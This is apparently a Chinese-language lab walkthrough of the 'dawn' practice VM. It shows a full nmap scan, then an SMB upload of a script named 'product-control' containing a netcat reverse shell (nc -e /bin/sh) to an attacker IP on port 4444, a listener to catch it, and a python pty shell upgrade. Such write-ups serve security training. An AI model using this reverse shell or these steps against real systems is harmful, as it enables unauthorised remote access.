靶机实战系列之dawn靶机

nmap -p80,139,445,3306 -sV  -A   192.168.144.138  

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-02 02:37 EDTNmap scan report for 192.168.144.138Host is up (0.0012s latency).PORT     STATE SERVICE     VERSION80/tcp   open  http        Apache httpd 2.4.38 ((Debian))|_http-server-header: Apache/2.4.38 (Debian)|_http-title: Site doesn't have a title (text/html).139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1| mysql-info: |   Protocol: 10|   Version: 5.5.5-10.3.15-MariaDB-1|   Thread ID: 14|   Capabilities flags: 63486|   Some Capabilities: Support41Auth, SupportsCompression, SupportsTransactions, ConnectWithDatabase, IgnoreSigpipes, FoundRows, ODBCClient, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, LongColumnFlag, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults|   Status: Autocommit|   Salt: nZY0"VmCFt5L[hu7M^o6|_  Auth Plugin Name: mysql_native_passwordMAC Address: 08:00:27:BE:C7:00 (Oracle VirtualBox virtual NIC)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hopService Info: Host: DAWNHost script results:|_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s| smb-security-mode: |   account_used: guest|   authentication_level: user|   challenge_response: supported|_  message_signing: disabled (dangerous, but default)| smb2-time: |   date: 2022-11-02T06:37:55|_  start_date: N/A|_nbstat: NetBIOS name: DAWN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)| smb2-security-mode: |   3.1.1: |_    Message signing enabled but not required| smb-os-discovery: |   OS: Windows 6.1 (Samba 4.9.5-Debian)|   Computer name: dawn|   NetBIOS computer name: DAWNx00|   Domain name: dawn|   FQDN: dawn.dawn|_  System time: 2022-11-02T02:37:55-04:00TRACEROUTEHOP RTT     ADDRESS1   1.21 ms 192.168.144.138OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 20.66 seconds

smbclient    \\192.168.144.138\ITDEPTvim  product-control                 //创建文件//写入nc 反弹#!/bin/bashnc -e /bin/sh 192.168.144.247 4444put  product-control   // 稍微等待一会nc -lvnp 4444成功！！！python -c "import pty;pty.spawn('/bin/bash')"  //终端升级